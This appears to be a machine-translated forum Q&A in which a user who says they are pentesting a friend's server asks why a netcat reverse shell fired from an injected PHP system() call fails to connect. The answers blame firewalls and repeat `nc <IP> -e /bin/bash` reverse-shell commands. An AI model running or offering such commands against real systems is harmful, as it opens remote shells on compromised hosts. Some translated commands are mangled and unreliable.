Pentest - 无法制作反向外壳

时间:2017-06-29 13:44:49

标签: php bash shell netcat

我正在给朋友服务器做笔试,我成功地在服务器的php页面上写了system()然后我尝试向我的终端制作一个反向shell。

我使用NetCat开始收听我的7777端口nc -vlnp 7777
并检查是否安装了NetCat并且是。

因此将命令发送到php nc <MyIp> 7777 -e /bin/bash以连接到我的终端 Yap没有工作,只是没有连接,是的,我的路由器上打开了端口。

任何人都知道为什么?

3 个答案:

答案 0 :(得分:0)

这是因为有防火墙。尝试禁用Windows防火墙。 它使用基于主机的防火墙,因此只有在Windows计算机已启动连接的情况下,才能接受与Windows的任何传入连接。它基于动态状态包过滤原理。它记住已发送的it数据包,并接受与其相关的任何连接。 与Linux相同。 iptables配置。 iptables-L 确保您的防火墙没有阻止端口7777。使用以下命令 iptables-A输入-i eth0-p tcp--目的端口7777-j接受 这是服务器尝试连接到您的PC并阻止了Linux防火墙。 同样,如果您和服务器位于不同的网络中,则路由器具有网络防火墙,除非启用了转发功能,否则它们会阻止任何传入的连接。

答案 1 :(得分:0)

可能是多种原因。

首先要注意的是防火墙在受感染主机上阻止了您的出站连接

第二个原因是 netcat并不总是支持-e参数。如果可能,请安装netcat软件包apt-get install netcat并使用nc.traditional <your IP> -e /bin/bash

祝你好运!

答案 2 :(得分:0)

  1. 从防火墙打开你的端口
  2. 将该规则添加到 iptable

如果仍然失败,则有另一个防火墙会阻止事物。使用另一个端口号作为快速解决方案,例如 8080 作为示例。